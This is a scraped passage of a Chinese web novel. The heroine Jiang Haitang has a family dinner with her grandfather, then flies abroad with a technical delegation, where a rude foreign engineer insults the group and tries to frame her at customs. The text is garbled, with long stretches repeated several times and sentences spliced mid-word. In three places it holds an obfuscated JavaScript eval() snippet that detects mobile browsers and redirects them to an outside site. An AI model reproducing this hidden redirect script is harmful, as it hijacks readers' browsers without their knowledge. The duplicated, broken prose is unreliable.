姜海棠将自己给家里人带来的礼物都拿出来。 “这次来得匆忙,也没多准备,只带了些西北的特产。” 姜海棠觉得礼物有些简单,很是不好意思。 可谁让她这一次来得匆忙呢? 刚从广交会上回来,就连续加班维修机器,就算有心也没有时间准备礼物。 “你们都好好的,就是给我们最好的礼物了。”陆父说道:“你把良辰和小桃子都照顾得很好,就是给我们最好的礼物。” 陆父对于孩子们只能留在西北,其实是心里有愧疚的,又怎么可能会因为带来的礼物不够丰厚而不满意? 这时候,时书岚和王婶已经在厨房里忙活起来,姜海棠要帮忙,却被时书岚从厨房里推出来了:“你坐着,今天 尝尝大嫂新学的咕咾肉。” 夕阳西斜,院子里飘起饭菜香气,何婉仪和袁一楠也都回来了,很快几个小萝卜头也都放学了。 见到姜海棠的时候,小家伙们高兴得不得了,姜海棠将自己带来的糖果点心还有小桃子给哥哥们写的信都拿出来。 小桃子写的信,其实就是上面用稚嫩的笔画了不少的画,有些姜海棠能看懂,有些,姜海棠也看不懂,但不妨碍哥儿几个高兴地跳。 “良辰也是,要是早点打电话过来,就让你把小桃子一起带过来了,让小桃子在家里待一段时间,和哥哥们培养培养感情。”何婉仪很是遗憾的说着。 好不容易有个小孙女,还总是见不到,别说这几个臭小子心心念念的,就连她也想念得紧。 姜海棠温婉地笑着说:“等下次有机会,我一定把小桃子带过来。” “我看呀,等你回来,正好这些臭小子们都要放暑假了,我休假带着他们一起去你们那边看看。” 何婉仪想着,等下次有机会带小桃子回来,还不知道要到什么时候呢,与其等,不如主动去。 “妈,到时候我也请假,和你们一起去。”时书岚立即表示。 这时候,大门又响了。 姜海棠猜测,应该是大哥回来了,忙站起身。 尝尝大嫂新学的咕咾肉。” 夕阳西斜,院子里飘起饭菜香气,何婉仪和袁一楠也都回来了,很快几个小萝卜头也都放学了。 见到姜海棠的时候,小家伙们高兴得不得了,姜海棠将自己带来的糖果点心还有小桃子给哥哥们写的信都拿出来。 小桃子写的信,其实就是上面用稚嫩的笔画了不少的画,有些姜海棠能看懂,有些,姜海棠也看不懂,但不妨碍哥儿几个高兴地跳。 “良辰也是,要是早点打电话过来,就让你把小桃子一起带过来了,让小桃子在家里待一段时间,和哥哥们培养培养感情。”何婉仪很是遗憾的说着。 好不容易有个小孙女,还总是见不到,别说这几个臭小子心心念念的,就连她也想念得紧。 姜海棠温婉地笑着说:“等下次有机会,我一定把小桃子带过来。” “我看呀,等你回来,正好这些臭小子们都要放暑假了,我休假带着他们一起去你们那边看看。” 何婉仪想着,等下次有机会带小桃子回来,还不知道要到什么时候呢,与其等,不如主动去。 “妈,到时候我也请假,和你们一起去。”时书岚立即表示。 这时候,大门又响了。 姜海棠猜测,应该是大哥回来了,忙站起身。 尝尝大嫂新学的咕咾肉。” 夕阳西斜,院子里飘起饭菜香气,何婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951966|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪和袁一楠也都回来了,很快几个小萝卜头也都放学了。 见到姜海棠的时候,小家伙们高兴得不得了,姜海棠将自己带来的糖果点心还有小桃子给哥哥们写的信都拿出来。 小桃子写的信,其实就是上面用稚嫩的笔画了不少的画,有些姜海棠能看懂,有些,姜海棠也看不懂,但不妨碍哥儿几个高兴地跳。 “良辰也是,要是早点打电话过来,就让你把小桃子一起带过来了,让小桃子在家里待一段时间,和哥哥们培养培养感情。”何婉仪很是遗憾的说着。 好不容易有个小孙女,还总是见不到,别说这几个臭小子心心念念的,就连她也想念得紧。 姜海棠温婉地笑着说:“等下次有机会,我一定把小桃子带过来。” “我看呀,等你回来,正好这些臭小子们都要放暑假了,我休假带着他们一起去你们那边看看。” 何婉仪想着,等下次有机会带小桃子回来,还不知道要到什么时候呢,与其等,不如主动去。 “妈,到时候我也请假,和你们一起去。”时书岚立即表示。 这时候,大门又响了。 姜海棠猜测,应该是大哥回来了,忙站起身。 尝尝大嫂新学的咕咾肉。” 夕阳西斜,院子里飘起饭菜香气,何婉仪和袁一楠也都回来了,很快几个小萝卜头也都放学了。 见到姜海棠的时候,小家伙们高兴得不得了,姜海棠将自己带来的糖果点心还有小桃子给哥哥们写的信都拿出来。 小桃子写的信,其实就是上面用稚嫩的笔画了不少的画,有些姜海棠能看懂,有些,姜海棠也看不懂,但不妨碍哥儿几个高兴地跳。 “良辰也是,要是早点打电话过来,就让你把小桃子一起带过来了,让小桃子在家里待一段时间,和哥哥们培养培养感情。”何婉仪很是遗憾的说着。 好不容易有个小孙女,还总是见不到,别说这几个臭小子心心念念的,就连她也想念得紧。 姜海棠温婉地笑着说:“等下次有机会,我一定把小桃子带过来。” “我看呀,等你回来,正好这些臭小子们都要放暑假了,我休假带着他们一起去你们那边看看。” 何婉仪想着,等下次有机会带小桃子回来,还不知道要到什么时候呢,与其等,不如主动去。 “妈,到时候我也请假,和你们一起去。”时书岚立即表示。 这时候,大门又响了。 姜海棠猜测,应该是大哥回来了,忙站起身。 尝尝大嫂新学的咕咾肉。” 夕阳西斜,院子里飘起饭菜香气,何婉仪和袁一楠也都回来了,很快几个小萝卜头也都放学了。 见到姜海棠的时候,小家伙们高兴得不得了,姜海棠将自己带来的糖果点心还有小桃子给哥哥们写的信都拿出来。 小桃子写的信,其实就是上面用稚嫩的笔画了不少的画,有些姜海棠能看懂,有些,姜海棠也看不懂,但不妨碍哥儿几个高兴地跳。 “良辰也是,要是早点打电话过来,就让你把小桃子一起带过来了,让小桃子在家里待一段时间,和哥哥们培养培养感情。”何婉仪很是遗憾的说着。 好不容易有个小孙女,还总是见不到,别说这几个臭小子心心念念的,就连她也想念得紧。 姜海棠温婉地笑着说:“等下次有机会,我一定把小桃子带过来。” “我看呀,等你回来,正好这些臭小子们都要放暑假了,我休假带着他们一起去你们那边看看。” 何婉仪想着,等下次有机会带小桃子回来,还不知道要到什么时候呢,与其等,不如主动去。 “妈,到时候我也请假,和你们一起去。”时书岚立即表示。 这时候,大门又响了。 姜海棠猜测,应该是大哥回来了,忙站起身。 尝尝大嫂新学的咕咾肉。” 夕阳西斜,院子里飘起饭菜香气,何婉仪和袁一楠也都回来了,很快几个小萝卜头也都放学了。 见到姜海棠的时候,小家伙们高兴得不得了,姜海棠将自己带来的糖果点心还有小桃子给哥哥们写的信都拿出来。 小桃子写的信,其实就是上面用稚嫩的笔画了不少的画,有些姜海棠能看懂,有些,姜海棠也看不懂,但不妨碍哥儿几个高兴地跳。 “良辰也是,要是早点打电话过来,就让你把小桃子一起带过来了,让小桃子在家里待一段时间,和哥哥们培养培养感情。”何婉仪很是遗憾的说着。 好不容易有个小孙女,还总是见不到,别说这几个臭小子心心念念的,就连她也想念得紧。 姜海棠温婉地笑着说:“等下次有机会,我一定把小桃子带过来。” “我看呀,等你回来,正好这些臭小子们都要放暑假了,我休假带着他们一起去你们那边看看。” 何婉仪想着,等下次有机会带小桃子回来,还不知道要到什么时候呢,与其等,不如主动去。 “妈,到时候我也请假,和你们一起去。”时书岚立即表示。 这时候,大门又响了。 姜海棠猜测,应该是大哥回来了,忙站起身。 第233章 出国 就在这时候,她忽然发现她手背上出现了红色的蝴蝶胎记。 姜海棠立即明白过来,是爷爷来了。 她激动到身体微微发颤,就在她打算冲出去接人的时候,门吱呀一声被推开了。 陆良谨扶着姜国柱老爷子走了进来。 姜老爷子和几个月之前姜海棠见到的风烛残年的光景大不一样,现在的姜老爷子是一位精神矍铄的老人。 他身着洗得发白的65式军装,腰间皮带扣在夕阳下泛着金属光泽,整个人就这样笔挺的站在姜海棠的面前。 可见,自从知道,这世上还有一个血脉相连的亲人之后,姜老爷子整个人重新焕发了生机。 姜老爷子看向姜海棠的时候,脸上带着和蔼的笑容。 “海棠啊,你这段时间的努力,我都听说了,不错,是个好孩子。” “爷爷,我想你了。”姜海棠眼眶一红,说话的声音也带上了哽咽。 “好孩子,这么大的人了,可不能哭啊,你寄过来的东西,老陆都给我送过去了,爷爷知道,你心里惦记着爷爷呢。爷爷也惦记着你,你再等等,过段时间,等你父母的事调查清楚了,我就接你回来。” 姜国柱声音也带着哽咽,坚强了一辈子的老人,战场上都没有掉过眼泪的老人,在面对唯一的孙女的时候,到底是心中难过。 姜海棠点头。 这段时间,陆良辰也一直在安排调查单管父母遇害的事,可已经过去二十年了,能找到的线索太少了。 不过,姜海棠知道,就算当**情没有办法调查清楚,等政策宽松了,她和爷爷也就敢光明正大的相认了。 这一天不会远的。 “都别只顾着说话了,坐下我们边吃边说,今天晚上可有不少好菜。”陆老爷子招呼着大家一起吃饭。 众人坐定,姜海棠的位置,被安排在姜老爷子的身边。 姜老爷子夹起一块红烧鱼放到姜海棠碗里,声音低沉却温和:“多吃点,西北风沙大,你比上次见面瘦了。” 姜海棠低头看着碗里的鱼肉,鼻尖发酸。 何婉仪也忙给姜海棠夹菜:“良辰这臭小子也不知道是怎么照顾人的,海棠可比过年的时候瘦多了。” 姜海棠知道自己确实瘦了,可并不是因为西北的风沙,而是这段时间确实太忙了。 “爷爷,陆伯母,只是这段时间加班多了一点,好好吃几顿就补回来了。” 姜海棠可不想让爷爷误会是陆良辰没照顾好自己,因此连 忙解释。 “海棠啊,工作固然重要,可身体也要照顾好,以后,我们每个月给你们再寄点儿肉票过去。”陆老爷子立即开口。 “爷爷,不用了……”姜海棠忙推辞。 姜老爷子说道:“要的要的,老陆这里好东西多,贴补贴补你们也是应该的。” “我这里好东西多,还能有你的多?”陆老爷子没好气的白了姜老爷子一眼。 姜海棠:…… “我的好东西,自然都是给海棠留着的。将来要当嫁妆,海棠啊,你什么时候和良辰那个臭小子结婚?到时候是在西北结还是回京城结?” 姜海棠一时之间还真不会回答姜老爷子这个话了,他们确实打算结婚,可是,要在哪里结婚,还真是没想过呢。 要是在西北结婚,家里人只怕都没有时间参加婚礼,可是,她和良辰两个人都在西北工作…… “要不就在京城办婚礼吧。”陆老爷子看了看姜老爷子,说道。 他想的更加周全一点,要是在京城办婚礼,姜老爷子还能参加,如果选在西北,姜老爷子无论如何都找不到合适的理由参加婚礼,毕竟,到了现在这个地位,一言一行都不由自己。 果然,姜老爷子因为陆老爷子这个话,脸上的笑容灿烂了许多。 “京城好啊,京城好啊!”老人说着,眼睛里竟闪耀着泪花。 唯一的孙女儿结婚,他也能亲眼见证了。 “我和良辰都听你们的。爷爷,您喝点鱼汤补补身体,您要保重身体。” 她舀了一勺清蒸鱼腹部的嫩肉,仔细挑净刺,轻轻放在姜老爷子面前。 “好孩子,喝了你给我寄来的药膳方子,我的身体好多了,现在跑个十公里都没问题。”被孙女儿体贴照顾着的姜老爷子脸上都要乐开花了。 姜老爷子忽然摸出个铝制饭盒:“尝尝这个,你爸最爱吃的酱黄瓜。” 饭盒打开的瞬间,咸香里混着淡淡酒香。 陆老爷子突然拍桌:“好你个老姜!我说去年去你家顺走的**茅台哪儿去了,原来泡了腌菜!这么好的酒,你竟然腌泡菜了!暴殄天物,暴殄天物!” “给我家海棠吃,你还舍不得了?学了个成语就给我用,当我没文化?”姜老爷子才不害怕陆老爷子拍桌子,一双眼睛只盯着姜海棠,看都没看陆老爷子一眼。 满桌人都笑起来,姜海棠咬了一口脆生生的黄瓜,笑眼弯弯的说:“果然好吃。” 一顿饭,一家子人吃的很开心,饭后,姜海棠从 随身的挎包里摸出一个大大的包,说:“我带了西北的野沙枣,爷爷您尝尝喜欢不。” 姜老爷子迫不及待捏起一颗,蜜色的枣子在他布满老茧的掌心显得格外小巧。 “这可是好东西啊,有几年没见过了,我记得那年,就靠这个撑过三天急行军!” 老人似乎陷入回忆:“你爸爸早些年在西北的时候,还会给你寄,再后来,就……” 姜海棠在京城只待了两天,这两天,姜海棠大部分的时间都在陪着姜老爷子,祖孙两个难得享受如此静谧的时光,陆家人也没有打扰。 两天之后,在姜老爷子依依不舍的目光中,姜海棠跟着周副部长一行人踏上了去D国的旅程。 飞机引擎的轰鸣声在姜海棠耳边持续不断地响着,机舱内的空气干燥而沉闷。 两辈子姜海棠这是第一次坐飞机,虽然并不舒服,她却挺直腰背,纹丝不动。 她记着临行前爷爷的叮嘱:“海棠,出去要争气,让那些外国人看看,我们中国人不比任何人差。” 这一次去交流学习,对于她而言是一次难得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959333|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的机会,她一定会努力做好每一项工作…… “Excuseme!”一个刺耳的男声突然炸响在头顶,伴随着毫不客气的踢凳声。 姜海棠抬头,对上一双充满嫌恶的蓝眼睛,那是个金发梳得油光水滑的高大男子,正用皮鞋尖踢着她放在脚下的行李包,仿佛那是什么肮脏的垃圾。 “Couldyoumovethistrash?It''sblockingtheaisle!“”他刻意提高音量,引得周围几个外国乘客发出嗤笑。 姜海棠注意到他西装袖口露出金表,领带上别着精致的铂金领针,浑身上下散发着高人一等的傲慢。 她强忍不适,迅速将包抱到膝上:“I''msorry。” “华国人?”男子忽然俯下身,夸张地嗅了嗅空气,露出作呕的表情,“难怪有股怪味。” 他故意用两根手指拈起姜海棠胸前的代表团徽章,像检查赃物般翻看。 “又是来我们国家‘学习’的乞丐团?”他在“学习”一词上拉长音调,引得后排几个外国旅客哄笑起来。 姜海棠指节发白。 姜海棠对于这个第一次见面的外国人的竟然表现出如此恶意还是比较惊诧的。 除了广交会,她其实并没有接触过外国人。 她记得后世许多人吹捧说外国的月亮都比国内要圆,还说外国 的男人都很绅士等等,总之,就是国外什么都好。 然而,今天这个人给她的印象十分不好,他的语气和态度,让姜海棠十分不舒服。 看姜海棠想着,出门在外,还是尽量不要惹麻烦才好,因此,她忍心心底的怒气。 “是的,我们来D国进行技术交流。”姜海棠保持着礼貌的微笑,但脊背已经不由自主地挺直了。 “汉斯·穆勒,D国机械工程师协会技术总监。”他甩名片的动作像在施舍乞丐,名片边缘在姜海棠手背划出一道红痕。 姜海棠没有接汉斯甩过来的名片,这样的人,以后大概也是不会打交道的,姜海棠不觉得,有什么接下他名片的必要。 “久仰大名,汉斯先生!”姜海棠出于礼貌,虽然没有捡起落在地上的名片,但还是应和了一句。 汉斯却对姜海棠这样的表现十分不满意。 这个傲慢的中国女人,竟然没有将自己的名片捡起来。 他十分傲慢的对自己的伙伴说道:“去年有个中国代表团,连游标卡尺都不会用,最后偷了我们车间半卷图纸,这一次的这些华国人,不知道又准备偷什么!” “哦,我想起来了,之前还有些划过所谓的专家,连基本的参数都记不住,还好意思说学习!” 周围的人因为汉斯这一番话,哈哈大笑起来,肆无忌惮的打量着华国代表团的每一个人,眼底眉间的歧视几乎不加掩饰。 整个代表团除了个别听懂汉斯的话的人之外,其他人对于这边的冲突并不是很清楚怎么回事。 但是,他们通过察言观色,知道汉斯说出来的话大概是带着侮辱性的。 第234章 偶遇 周副部长的脸色沉了下来,他虽未完全听懂汉斯的侮辱性言辞,但对方轻蔑的语气和周围人的哄笑已经说明了一切。 “翻译!”周副部长立即喊道。 翻译人员立即小心地给周副部长和其他华国代表团的人翻译了汉斯的话,机舱里的空气瞬间凝固。 华国代表团成员们的表情从疑惑转为愤怒。 坐在姜海棠后排的年轻工程师王子华“腾”地站起身,拳头攥得咯咯响:“这洋鬼子怎么可以这么欺负人呢?” 姜海棠轻轻按住小王的手腕,用中文平静地说:“是因为我们国家太落后,落后就要挨打这句话,不管在什么年代都是一样的,想要不受欺负,我们只能不断地提高自己,不断地强大。” 副部长听着姜海棠这番话,忍不住多看了两眼。 “什么?!”代表团里几位老工程师顿时变了脸色。头发花白的李工一把摘下眼镜,气得手指发抖:“岂有此理!去年明明是他们故意给错误参数,害得我们差点买回一堆废铁!” 周副部长缓缓站起身,军旅生涯养成的威严气势让机舱里的笑声戛然而止。 他整了整中山装的领口,用铿锵有力的语气说道:“穆勒先生,如果D国工程师协会派你来是为了展示所谓的‘专业素养’,那我建议你重新学习基本礼仪。” 姜海棠立即将这句话翻译给汉斯听。 汉斯没想到会遭到反击,脸色顿时涨得通红:“我说的是事实!你们华国人就是……” “就是什么?”姜海棠突然打断他,声音清亮得让整个机舱都听得见,“就是发明了指南针让你们大航海?就是发明**让你们结束冷兵器时代?” “是的,我的国家,因为种种原因,暂时确实落后了,但是在以往五千年的文明史中,我的国家一直都是走在世界前列的,需要我为您补上这堂历史课吗?” “我也相信,终究有一天,我的祖国会腾飞,会依旧走在世界的前列。” 这一番话,姜海棠说得铿锵有力,可实际上,在场的人,几乎都不相信,不光外国人不相信,就连华国人也不相信。 毕竟,真的是太落后了,距离腾飞,距离又在世界前列,还需要很长一段时间。 周围的乘客开始窃窃私语,几个D国商人模样的旅客还在指指点点,显然认为姜海棠是在痴人说梦。 可是姜海棠很清楚,上辈子,她死亡的时候,国家的军事和科技等方面,都已经追上来了,虽然还不至于被整个世界仰望,但确实不再 是落后的代名词。 汉斯听到姜海棠这番话,先是一愣,随即爆发出一阵刺耳的大笑。 “哈哈哈!这位小姐怕不是在做梦?”他夸张地摊开双手,对着周围乘客说:“听听,一个连电视机都造不好的国家,居然妄想重回世界前列?” 几个D国旅客跟着哄笑起来,有人甚至吹起了口哨。 姜海棠注意到,连代表团里几位老工程师都低下了头。 他们亲身经历过技术封锁的**,比谁都清楚差距有多大。 “1970年,我国成功发射东方红一号卫星时,贵国还在用漂亮国提供的火箭技术。”姜海棠不紧不慢地说着,那语气,就好像说,今天的太阳很好,飞机外面的云很白一样。 汉斯的表情僵住了,他显然没料到这个看似柔弱的中国姑娘能拿东方红一号卫星说话。 “这……这只是个别领域!”汉斯恼羞成怒地指着机舱,“看看这架飞机!你们能造出这样的客机吗?” “现在不能,不代表永远不能。”姜海棠坦然地承认,“毕竟,几十年前贵国也造不出喷气式飞机。” 这句话像一记耳光甩在汉斯脸上。 机舱里突然安静下来,几个原本在笑的D国商人交换着惊讶的眼神,这个中国女孩的英语流利得不像话,更可怕的是她展现出的知识储备。 周副部长适时地站起身:“穆勒先生,与其在这里争论谁更先进,不如用实际行动证明。明天参观贵国工厂时,我们很期待学习真正的‘先进技术’。”他在最后四个字上加了重音。 姜海棠将周副部长的话翻译给穆勒听,然后说道:“穆勒先生,技术没有国界,但尊重是相互的。我相信这次考察会让双方都有收获。” 汉斯觉得自己被挑衅了,恼羞成怒,正要发作,一位空乘人员快步走来。 “先生们,请保持安静。”空乘严肃地看向汉斯,“先生,您已经干扰到其他旅客了。” 汉斯狠狠瞪了姜海棠一眼,转身时故意撞翻了她放在桌板上的水杯。温水泼洒在姜海棠的笔记本上,墨迹顿时晕开一片。 “哎呀,真是不小心。”汉斯假惺惺地道歉,眼里却闪着恶意的光。 王子华猛地站起来要理论,被姜海棠一把拉住。 她不慌不忙地从包里掏出手绢,轻轻按压湿透的纸页,抬头对汉斯露出一个意味深长的微笑。 “没关系,穆勒先生。就像这墨水,有些东西看似被掩盖了……”她翻开下一页,露出完好无损的图纸,“ 但真相永远清晰可见。” 汉斯脸色铁青地回到座位,嘴里还嘟囔着“黄皮猴子”之类的脏话。 华国代表团默契地鼓起掌来,引得周围乘客纷纷侧目。 姜海棠正要坐下,忽然注意到斜前方一位白发老者正意味深长地看着她。 姜海棠不知道这位白发老者到底是敌还是友,但不管是什么,总归兵来将挡水来土掩。 有些事并不会因为害怕就不到来。 长时间的飞行中,姜海棠没有浪费一分钟。 她反复研读着D国工厂的技术资料,时不时在笔记本上记录要点。 当飞机开始下降时,她已经将关键数据都印在了脑海中。 “各位旅客,我们即将降落在***机场……”空乘的广播响起,姜海棠收起资料,望向窗外逐渐清晰的异国土地。 飞机降落在D国法兰克福机场时,汉斯·穆勒故意从姜海棠身边挤过,肩膀狠狠撞了她一下,低声冷笑:“欢迎来到文明世界,黄皮猴子。” 姜海棠稳住身形,目光冰冷地扫了他一眼,没有理会。 但她的指尖已经深深掐进掌心,这个男人的恶意,比她想象的还要深。 或许在接下来的行程中,他们还将会有交集,甚至,这个人还会给他们带来一些麻烦。 果然,与姜海棠猜测的一样,海关检查时,汉斯站在一旁,双臂抱胸,嘴角挂着阴险的笑意。 当轮到姜海棠和周副部长的代表团时,海关官员的态度明显变得严厉。 “请打开所有行李。”一个鹰钩鼻的官员冷冰冰地说道,眼神里带着审视。 姜海棠配合地打开行李箱,里面整齐地放着衣物、笔记本和几本技术资料。 然而,那官员却突然从箱底抽出一张折叠的图纸,厉声质问:“这是什么?工业图纸?你们是来窃取技术的吗?” 汉斯站在不远处,脸上挂着得逞的冷笑。 姜海棠还有什么不明白的,这一切都是汉斯的杰作。 这个男人,比她想象的还要小心眼,看起来,这一次D国之行,并不会十分顺畅啊。 周副部长立刻上前交涉:“这一定是误会,我们持有正式邀请函,是合法来交流的。” 可惜的是,对方的态度依然只有傲慢,对于周副部长丝毫都不放在眼里。 “误会?”海关官员冷笑,“那请解释一下,为什么你们的行李里会有未经申报的技术文件?” 姜海棠深吸一口气,冷静地接过那张图纸 ,展开,随即冷笑:“先生,您确定这是‘机密技术’?” 她将图纸翻转,展示给所有人看,那根本不是工业设计图,而是一张手绘的《西游记》孙悟空漫画,旁边还写着中文批注:“金箍棒可伸缩原理参考”。 “这是我们国家的神话故事人物设计,不过是我飞机上无聊的时候,随手涂鸦的东西,难道D国连这个也要管制?”她语气讥讽。 海关官员脸色一僵,汉斯的表情也瞬间阴沉下来。 他明明已经想办法将资料放在了这个中国女人的箱子里,为什么会出现这种情况? 姜海棠将目光看向汉斯,目光中都是讥讽和不屑。 她已经想起来这个人是谁了,这个人就是提出要十万美元才愿意帮金城纺织厂修机器的那位。 真是冤家路窄,没想到,竟然还能和这个人在飞机上遇见。 不过幸好是在飞机上遇到了,可以提前知道这个人,提前进行防范。 周副部长也立即严肃道:“如果贵国海关对文化交流也如此警惕,那我们可以立刻联系大使馆,看看这是否符合国际交流的惯例。” 海关官员脸色变了变,最终只能悻悻地挥手放行。 汉斯咬牙切齿地瞪着姜海棠,低声威胁:“别得意,这才刚开始。” 姜海棠回以冷笑:“是啊,我也很期待接下来的‘交流’。” ,展开,随即冷笑:“先生,您确定这是‘机密技术’?” 她将图纸翻转,展示给所有人看,那根本不是工业设计图,而是一张手绘的《西游记》孙悟空漫画,旁边还写着中文批注:“金箍棒可伸缩原理参考”。 “这是我们国家的神话故事人物设计,不过是我飞机上无聊的时候,随手涂鸦的东西,难道D国连这个也要管制?”她语气讥讽。 海关官员脸色一僵,汉斯的表情也瞬间阴沉下来。 他明明已经想办法将资料放在了这个中国女人的箱子里,为什么会出现这种情况? 姜海棠将目光看向汉斯,目光中都是讥讽和不屑。 她已经想起来这个人是谁了,这个人就是提出要十万美元才愿意帮金城纺织厂修机器的那位。 真是冤家路窄,没想到,竟然还能和这个人在飞机上遇见。 不过幸好是在飞机上遇到了,可以提前知道这个人,提前进行防范。 周副部长也立即严肃道:“如果贵国海关对文化交流也如此警惕,那我们可以立刻联系大使馆,看看这是否符合国际交流的惯例。” 海关官员脸色变了变,最终只能悻悻地挥手放行。 汉斯咬牙切齿地瞪着姜海棠,低声威胁:“别得意,这才刚开始。” 姜海棠回以冷笑:“是啊,我也很期待接下来的‘交流’。” ,展开,随即冷笑:“先生,您确定这是‘机密技术’?” 她将图纸翻转,展示给所有人看,那根本不是工业设计图,而是一张手绘的《西游记》孙悟空漫画,旁边还写着中文批注:“金箍棒可伸缩原理参考” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959334|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这是我们国家的神话故事人物设计,不过是我飞机上无聊的时候,随手涂鸦的东西,难道D国连这个也要管制?”她语气讥讽。 海关官员脸色一僵,汉斯的表情也瞬间阴沉下来。 他明明已经想办法将资料放在了这个中国女人的箱子里,为什么会出现这种情况? 姜海棠将目光看向汉斯,目光中都是讥讽和不屑。 她已经想起来这个人是谁了,这个人就是提出要十万美元才愿意帮金城纺织厂修机器的那位。 真是冤家路窄,没想到,竟然还能和这个人在飞机上遇见。 不过幸好是在飞机上遇到了,可以提前知道这个人,提前进行防范。 周副部长也立即严肃道:“如果贵国海关对文化交流也如此警惕,那我们可以立刻联系大使馆,看看这是否符合国际交流的惯例。” 海关官员脸色变了变,最终只能悻悻地挥手放行。 汉斯咬牙切齿地瞪着姜海棠,低声威胁:“别得意,这才刚开始。” 姜海棠回以冷笑:“是啊,我也很期待接下来的‘交流’。” ,展开,随即冷笑:“先生,您确定这是‘机密技术’?” 她将图纸翻转,展示给所有人看,那根本不是工业设计图,而是一张手绘的《西游记》孙悟空漫画,旁边还写着中文批注:“金箍棒可伸缩原理参考”。 “这是我们国家的神话故事人物设计,不过是我飞机上无聊的时候,随手涂鸦的东西,难道D国连这个也要管制?”她语气讥讽。 海关官员脸色一僵,汉斯的表情也瞬间阴沉下来。 他明明已经想办法将资料放在了这个中国女人的箱子里,为什么会出现这种情况? 姜海棠将目光看向汉斯,目光中都是讥讽和不屑。 她已经想起来这个人是谁了,这个人就是提出要十万美元才愿意帮金城纺织厂修机器的那位。 真是冤家路窄,没想到,竟然还能和这个人在飞机上遇见。 不过幸好是在飞机上遇到了,可以提前知道这个人,提前进行防范。 周副部长也立即严肃道:“如果贵国海关对文化交流也如此警惕,那我们可以立刻联系大使馆,看看这是否符合国际交流的惯例。” 海关官员脸色变了变,最终只能悻悻地挥手放行。 汉斯咬牙切齿地瞪着姜海棠,低声威胁:“别得意,这才刚开始。” 姜海棠回以冷笑:“是啊,我也很期待接下来的‘交流’。” ,展开,随即冷笑:“先生,您确定这是‘机密技术’?” 她将图纸翻转,展示给所有人看,那根本不是工业设计图,而是一张手绘的《西游记》孙悟空漫画,旁边还写着中文批注:“金箍棒可伸缩原理参考”。 “这是我们国家的神话故事人物设计,不过是我飞机上无聊的时候,随手涂鸦的东西,难道D国连这个也要管制?”她语气讥讽。 海关官员脸色一僵,汉斯的表情也瞬间阴沉下来。 他明明已经想办法将资料放在了这个中国女人的箱子里,为什么会出现这种情况? 姜海棠将目光看向汉斯,目光中都是讥讽和不屑。 她已经想起来这个人是谁了,这个人就是提出要十万美元才愿意帮金城纺织厂修机器的那位。 真是冤家路窄,没想到,竟然还能和这个人在飞机上遇见。 不过幸好是在飞机上遇到了,可以提前知道这个人,提前进行防范。 周副部长也立即严肃道:“如果贵国海关对文化交流也如此警惕,那我们可以立刻联系大使馆,看看这是否符合国际交流的惯例。” 海关官员脸色变了变,最终只能悻悻地挥手放行。 汉斯咬牙切齿地瞪着姜海棠,低声威胁:“别得意,这才刚开始。” 姜海棠回以冷笑:“是啊,我也很期待接下来的‘交流’。” ,展开,随即冷笑:“先生,您确定这是‘机密技术’?” 她将图纸翻转,展示给所有人看,那根本不是工业设计图,而是一张手绘的《西游记》孙悟空漫画,旁边还写着中文批注:“金箍棒可伸缩原理参考”。 “这是我们国家的神话故事人物设计,不过是我飞机上无聊的时候,随手涂鸦的东西,难道D国连这个也要管制?”她语气讥讽。 海关官员脸色一僵,汉斯的表情也瞬间阴沉下来。 他明明已经想办法将资料放在了这个中国女人的箱子里,为什么会出现这种情况? 姜海棠将目光看向汉斯,目光中都是讥讽和不屑。 她已经想起来这个人是谁了,这个人就是提出要十万美元才愿意帮金城纺织厂修机器的那位。 真是冤家路窄,没想到,竟然还能和这个人在飞机上遇见。 不过幸好是在飞机上遇到了,可以提前知道这个人,提前进行防范。 周副部长也立即严肃道:“如果贵国海关对文化交流也如此警惕,那我们可以立刻联系大使馆,看看这是否符合国际交流的惯例。” 海关官员脸色变了变,最终只能悻悻地挥手放行。 汉斯咬牙切齿地瞪着姜海棠,低声威胁:“别得意,这才刚开始。” 姜海棠回以冷笑:“是啊,我也很期待接下来的‘交流’。” 第235章 态度强硬 王子华还在愤愤不平:“这汉斯也太卑劣了竟然玩这种阴招!” 姜海棠将被翻乱的图纸重新叠好指尖抚过孙悟空的金箍棒线条:“他越是急越说明心虚。” 她忽然想起什么转身对周副部长说“刚才海关检查时我注意到汉斯和那个鹰钩鼻官员交换过眼神 周副部长点点头“你观察得很仔细这两个人有问题只怕我们这一次没有这样顺利。” 姜海棠便将自己怀疑汉斯就是要挟金城纺织厂提出高额维修费才肯维修机器的事情说了。 周副部长没想到还有这样的渊源。 他只知道金城纺织厂解决了一个寻找国外专家要付出十多万美元的机械问题却没想过冤家路窄竟然能在D国遇上。 